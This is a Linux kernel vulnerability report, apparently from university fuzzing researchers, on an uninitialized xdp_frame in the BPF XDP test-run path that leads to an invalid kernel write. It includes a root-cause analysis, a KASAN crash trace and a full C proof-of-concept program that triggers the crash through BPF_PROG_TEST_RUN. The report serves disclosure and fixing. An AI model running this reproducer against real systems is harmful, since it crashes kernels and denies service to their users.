Our fuzzer tool discovered a user-memory-access vulnerability in the BPF
subsystem. The vulnerability is triggered when building an `sk_buff`
from an XDP frame that has not been properly initialized due to an
unhandled initialization failure, causing the kernel to access an
invalid memory address.
Reported-by: Yinhao Hu <
ddd...@hust.edu.cn>
Reported-by: Kaiyan Mei <
M2024...@hust.edu.cn>
Reviewed-by: Dongliang Mu <
dz...@hust.edu.cn>
## Root Cause
`xdp_test_run_setup()` attempts to create a `page_pool` with the page
initialization callback `xdp_test_run_init_page()`.
During page initialization, `xdp_test_run_init_page()` calls
`xdp_update_frame_from_buff()` to initialize an `xdp_frame`. However, if
the available headroom in the associated `xdp_buff` is insufficient,
`xdp_update_frame_from_buff()` returns an error. This error is not
handled by `xdp_test_run_init_page()`, leaving the `xdp_frame`
uninitialized.
Later, `xdp_test_run_batch()` retrieves this `xdp_frame` from the
`page_pool`. Although it may attempt to partially reinitialize the frame
via `reset_ctx()`, the failure from `xdp_update_frame_from_buff()` is
still ignored.
Finally, `__xdp_build_skb_from_frame()` attempts to construct an
`sk_buff` from the uninitialized `xdp_frame`. It reads uninitialized
members (e.g., `data`, `headroom`, `frame_sz`) to compute a `hard_start`
address, which is then passed to `build_skb_around()`. The underlying
`__build_skb_around()` attempts to write to this invalid address,
resulting in a kernel crash.
## Execution Flow Visualization
```
Vulnerability Execution Flow
|
|--- 1. An XDP program is loaded with act XDP_PASS
|
|--- 2. `bpf(BPF_PROG_TEST_RUN, ...)` Syscall Execution
| |
| `-- bpf_test_run_xdp_live
| |
| `-- xdp_test_run_setup
| | |
| | `--> page_pool_create() with init callback
xdp_test_run_init_page()
| | |
| | `--> xdp_update_frame_from_buff() may fail, but error
is ignored, leaving xdp_frame uninitialized
| |
| `-- xdp_test_run_batch
| |
| |--> page_pool_dev_alloc_pages() returns page with
uninitialized xdp_frame
| |
| `--> xdp_recv_frames
| |
| |--> __xdp_build_skb_from_frame() reads
uninitialized xdpf members, computes invalid hard_start address, passes
it to build_skb_around()
| |
| `--> __build_skb_around() writes to invalid address
-> CRASH
```
## Reproduction Steps
1. **Load an XDP program**: Load an XDP program with instructions `{r0 =
XDP_PASS; exit}`, which ensures the XDP test-run path proceeds to skb
construction instead of terminating early.
2. **Trigger**: Invoke `BPF_PROG_TEST_RUN` with the loaded XDP program.
## KASAN Report
```yaml
[ 60.463928][ T9792]
==================================================================
[ 60.464637][ T9792] BUG: KASAN: user-memory-access in
__build_skb_around+0x227/0x320
[ 60.465305][ T9792] Write of size 32 at addr 00000000608c4129 by task
poc/9792
[ 60.465919][ T9792]
[ 60.466121][ T9792] CPU: 0 UID: 0 PID: 9792 Comm: poc Not tainted
6.19.0-rc1-next-20251217 #11 PREEMPT(full)
[ 60.466126][ T9792] Hardware name: QEMU Ubuntu 24.04 PC (i440FX +
PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 60.466128][ T9792] Call Trace:
[ 60.466131][ T9792] <TASK>
[ 60.466134][ T9792] dump_stack_lvl+0x78/0xe0
[ 60.466141][ T9792] kasan_report+0xc6/0x100
[ 60.466155][ T9792] kasan_check_range+0x105/0x1b0
[ 60.466160][ T9792] __asan_memset+0x23/0x50
[ 60.466165][ T9792] __build_skb_around+0x227/0x320
[ 60.466171][ T9792] build_skb_around+0x25/0x210
[ 60.466175][ T9792] __xdp_build_skb_from_frame+0xfc/0x860
[ 60.466184][ T9792] xdp_test_run_batch.constprop.0+0x1305/0x1c70
[ 60.466240][ T9792] bpf_test_run_xdp_live+0x2fe/0x640
[ 60.466295][ T9792] bpf_prog_test_run_xdp+0xb5a/0x1730
[ 60.466328][ T9792] __sys_bpf+0x632/0x3b30
[ 60.466394][ T9792] __x64_sys_bpf+0x78/0xc0
[ 60.466405][ T9792] do_syscall_64+0xc9/0xf80
[ 60.466411][ T9792] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 60.466415][ T9792] RIP: 0033:0x41235d
[ 60.466418][ T9792] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3
0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c
24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64
89 01 48
[ 60.466421][ T9792] RSP: 002b:00007ffc9d88ec48 EFLAGS: 00000206
ORIG_RAX: 0000000000000141
[ 60.466426][ T9792] RAX: ffffffffffffffda RBX: 0000000000000001 RCX:
000000000041235d
[ 60.466428][ T9792] RDX: 0000000000000050 RSI: 00002000000027c0 RDI:
000000000000000a
[ 60.466430][ T9792] RBP: 00007ffc9d88ec60 R08: 00007ffc9d88ec70 R09:
00007ffc9d88ec70
[ 60.466433][ T9792] R10: 0000000000000000 R11: 0000000000000206 R12:
00007ffc9d88ed78
[ 60.466435][ T9792] R13: 00007ffc9d88ed88 R14: 00000000004a5f68 R15:
0000000000000001
[ 60.466444][ T9792] </TASK>
[ 60.466446][ T9792]
==================================================================
```
## Proof of Concept
The following C program should demonstrate the vulnerability on
linux-next commit 12b95d29eb979e5c4f4f31bb05817bc935c52050 and bpf-next
commit ec439c38013550420aecc15988ae6acb670838c1:
```c
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len)
*(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off),
(bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
*(uint32_t*)0x200000000c80 = 6;
*(uint32_t*)0x200000000c84 = 2;
*(uint64_t*)0x200000000c88 = 0x200000000d40;
*(uint8_t*)0x200000000d40 = 0xb7;
STORE_BY_BITMASK(uint8_t, , 0x200000000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x200000000d41, 0, 4, 4);
*(uint16_t*)0x200000000d42 = 0;
*(uint32_t*)0x200000000d44 = 2;
*(uint8_t*)0x200000000d48 = 0x95;
STORE_BY_BITMASK(uint8_t, , 0x200000000d49, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x200000000d49, 0, 4, 4);
*(uint16_t*)0x200000000d4a = 0;
*(uint32_t*)0x200000000d4c = 0;
*(uint64_t*)0x200000000c90 = 0x200000000d80;
memcpy((void*)0x200000000d80, "GPL\000", 4);
*(uint32_t*)0x200000000c98 = 0;
*(uint32_t*)0x200000000c9c = 0;
*(uint64_t*)0x200000000ca0 = 0;
*(uint32_t*)0x200000000ca8 = 0;
*(uint32_t*)0x200000000cac = 0;
memset((void*)0x200000000cb0, 0, 16);
*(uint32_t*)0x200000000cc0 = 0;
*(uint32_t*)0x200000000cc4 = 0x25;
*(uint32_t*)0x200000000cc8 = 0;
*(uint32_t*)0x200000000ccc = 0;
*(uint64_t*)0x200000000cd0 = 0;
*(uint32_t*)0x200000000cd8 = 0;
*(uint32_t*)0x200000000cdc = 0;
*(uint64_t*)0x200000000ce0 = 0;
*(uint32_t*)0x200000000ce8 = 0;
*(uint32_t*)0x200000000cec = 0;
*(uint32_t*)0x200000000cf0 = 0;
*(uint32_t*)0x200000000cf4 = 0;
*(uint64_t*)0x200000000cf8 = 0;
*(uint64_t*)0x200000000d00 = 0;
*(uint32_t*)0x200000000d08 = 0;
*(uint32_t*)0x200000000d0c = 0;
*(uint32_t*)0x200000000d10 = 0;
res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000c80ul,
/*size=*/0x94ul);
if (res != -1)
r[0] = res;
*(uint32_t*)0x2000000027c0 = r[0];
*(uint32_t*)0x2000000027c4 = 0;
*(uint32_t*)0x2000000027c8 = 0x367;
*(uint32_t*)0x2000000027cc = 0;
*(uint64_t*)0x2000000027d0 = 0x200000002040;
memcpy((void*)0x200000002040,
"\xb5\xa0\xd6\x28\xa3\xee\x73\xf2\x21\xbe\xdd\xad\x24\xe2\x82\xda\x9b\x8c\xbf\xff\x46\xe3\x62\x89\xf8\x3f\xd6\xfc\x1c\x70\x79\x1b\x11\x0f\x7c\x5d\x42\x9e\xb7\x1c\x03\x20\xe3\x63\x2f\x52\x78\xce\xb6\x73\x7a\x3e\x4b\x27\x84\x69\x3b\x1c\xb2\xe2\xac\x81\x02\xe2\xbc\xad\x5d\x59\xc0\x67\x2a\x36\x9f\x0c\x16\xe4\xc3\xdb\x87\x34\xdb\xa8\x5f\x13\xc1\x11\xc3\x52\xd9\x28\xce\x12\x4b\xfc\x05\x0a\x47\x60\xe8\xe2\x92\xe1\x15\xd0\x9a\xf6\xd5\x51\x40\x4b\x01\x13\x49\xe9\xd6\xac\xaf\x72\xbb\x60\xdc\x13\x3a\xe3\x83\xe4\xe7\x54\x9f\x2d\xe1\x2d\x87\xe0\x3c\xae\x38\x33\x5d\xb3\x81\x1d\x99\x25\xc2\xac\x98\xf4\xa9\xb1\x11\x5b\x46\xed\x92\x5d\x5f\x68\x02\x62\x1d\xef\x45\xa2\x6d\xd0\x2c\xd9\x83\x45\xbe\x23\x47\x1c\xe0\x36\xd7\xe2\xd0\x00\x14\x35\xcf\x2b\x43\x81\xaa\xe1\x86\xa1\xbb\x89\x9c\x23\x3c\xdf\x0b\x16\xab\xd9\x01\xb3\x5d\x37\xe4\x7c\x3c\x0d\xb2\x07\x22\xbe\xad\x2c\xd0\xe8\x18\x91\xdb\xcb\x22\x23\x10\xf8\x77\xd5\x09\xe1\x60\x4e\x33\x8d\x34\x72\x32\xd9\xe0\xc4\x67\x8c\xc6\x6a\xea\x5f\xc4\xc2\x5b\xad\x12\x0a\xfd\x06\x14\xd6\x80\x52\x54\x88\x14\x3e\x69\xc8\xd9\x74\x54\xf1\x7f\x9a\x70\xe6\x1e\xce\x97\x73\x1d\xb5\x0d\x05\xc9\xbe\x05\x51\x73\x1a\x55\x86\xed\xdd\x1c\xbb\xcf\x71\xf2\x88\x55\x8a\x8a\x01\x66\x29\x6f\x2b\x4e\x05\x8c\x83\x41\xb9\x49\xc7\x0b\x7b\x38\x13\x16\x1f\x7d\x22\x4b\x81\x67\x39\xe4\xde\xfa\x92\x11\x04\xfd\x9d\xc8\x91\x3e\xcd\x60\x3d\x0c\x93\x6d\xad\xdd\x1c\x8e\xb2\x0e\xfd\x00\xea\xef\x91\xda\x98\x96\x6b\xda\x95\x50\xa0\xcb\xd9\xc6\xb3\x3b\x64\xbc\xa4\xd1\xed\xe2\x23\x6b\x41\xf0\xf8\x99\x6e\x01\x3e\x9c\x04\x84\x6e\x88\x45\x4c\x55\x07\x69\xef\x63\xc2\xb2\x86\x6f\x45\xb2\xad\x0f\x2c\x42\xc1\x5e\x46\x25\x23\x18\x3b\x31\xb4\x98\xeb\x78\x86\x17\x55\x0b\x67\x2a\xe8\x22\x6b\x46\xb1\xb4\xfa\x2e\x36\xe1\xbb\x83\xf6\xd7\xa2\x85\x98\x4c\x9b\xbd\x11\x5d\x08\x7b\xa3\xb0\xe9\x35\xc1\xfc\x7d\x74\xb5\xbd\x40\x4c\x63\xa6\x7f\x70\xa0\x9b\xf0\xcd\x70\xa0\xc0\xb6\xf4\xee\x3f\xa1\x7b\x51\x07\x36\x95\xcb\x47\x7e\x62\x23\xfa\xf3\x2c\x85\x45\x94\xa6\x8f\x01\x6a\x51\xe8\x4c\xd6\x70\x32\xfd\xe5\xda\x07\x02\x98\x48\xb2\x3d\xb4\xf2\x8a\x2a\x52\x10\xdf\x93\x28\x5d\x32\xfe\xaa\x9b\x8a\xbc\x09\x4d\x1b\xad\xf0\xe2\x97\xd7\x55\x3d\x35\xd7\xcd\x9c\xaf\x80\x27\x9a\xd4\x97\xcf\x1f\xef\x76\x99\x9a\xa6\xa2\x45\xbe\x27\xbc\x3c\x53\x47\xcf\xc3\x4e\x8c\xe6\x11\xce\x53\xf6\x4f\x92\x08\x5a\x3e\xc0\x40\x2f\x3c\x4f\xdc\x6c\xf2\xe6\xb1\xe5\x32\x41\x40\x47\xe6\xfc\x20\x2f\x3c\x26\x2a\x93\xd9\xdf\xdb\x5c\x4c\x83\xfb\xef\xc5\x77\x22\xad\x30\x42\x15\xde\xe3\xbb\x11\x9b\x51\x0f\xb0\x71\xeb\xaa\x25\xcc\x71\x6c\x76\x24\x55\x6a\x20\x78\xb3\x2a\xc4\x19\x9d\xb0\x57\xd4\x35\xbf\xe3\xfc\x5f\x81\xad\xdf\xa8\x15\x9c\x8f\xe4\xa1\xcb\x56\xfd\x3d\x3f\xb9\xc7\x93\x53\x90\x73\xcc\xfd\xcf\x38\x52\xf2\x33\xaf\xf2\xe8\xef\x1e\xb7\x06\x8c\x4d\x4e\xda\x3d\xca\x7c\xaf\x54\x0d\x4b\x31\xb3\xc7\x3e\xa9\x34\x2f\x98\x8b\xdc\xc8\x41\x82\xdd\xc1\x8d\x3e\x38\x8b\x68\x2b\x2d\xb1\x8e\xac\x53\xde\xcc\xe4\xfb\xea\x48\x0b\xe5\x54\x21\x65\x2f\xfb\xad\x40\xb9\xb9\x53\x23\x7f\xd8\x21\x10\xcd\xa2\xe3\x7b\xce\x7b\x4f\xb3\x84\x65\xea\x17\xe9\xe0\xa3\x24\xd0\x92\xe8\xd6\x37\x57\xf0\xec\x7c\x93\xc7\xb1\x50\x4f\x38\x8e\x22\x43\x88\x47\xd7\x2e\x72\xcc\xf7\xfb\xd8\x39\xa7\x0a\x89\xe8\xc1\x63\x28\x72\x68\xcd\xd5\xde\x0b\x66\xeb\xd4\xbd\x68\x7a\x7e\xbb\x13\x35\x49\x4c\x82\xa6\x9d\x63\xde\x5e\x7f\x51\xd4\xdc\xd2\xf7\x99\x57\x48\xd2\x73\x2d\xd7\xb9\x98\x07\x75\x6b\xdf\xbb\xc5\x61\xf0\xf2\x2e\xa2\x2a\xdc\xc6\x7a\x8d\x18\xa0\x04\x97\xc9\x15\x47\x57\x52\xaa\x73\x41\xe0\x53\x4a\x45\xed\x11\xf6\xb0\x8f\x7a\xb2\xa7\x17\x48\xa4\x36\xc0",
871);
*(uint64_t*)0x2000000027d8 = 0;
*(uint32_t*)0x2000000027e0 = 7;
*(uint32_t*)0x2000000027e4 = 0xbb6476dd;
*(uint32_t*)0x2000000027e8 = 0xb;
*(uint32_t*)0x2000000027ec = 0;
*(uint64_t*)0x2000000027f0 = 0x200000000000;
memcpy((void*)0x200000000000,
"\xf4\x00\x00\x00\x67\x03\x00\x00\x00\x00\x00", 11);
*(uint64_t*)0x2000000027f8 = 0;
*(uint32_t*)0x200000002800 = 2;
*(uint32_t*)0x200000002804 = 0;
*(uint32_t*)0x200000002808 = 0;
syscall(__NR_bpf, /*cmd=*/0xaul, /*arg=*/0x2000000027c0ul,
/*size=*/0x50ul);
return 0;
}
```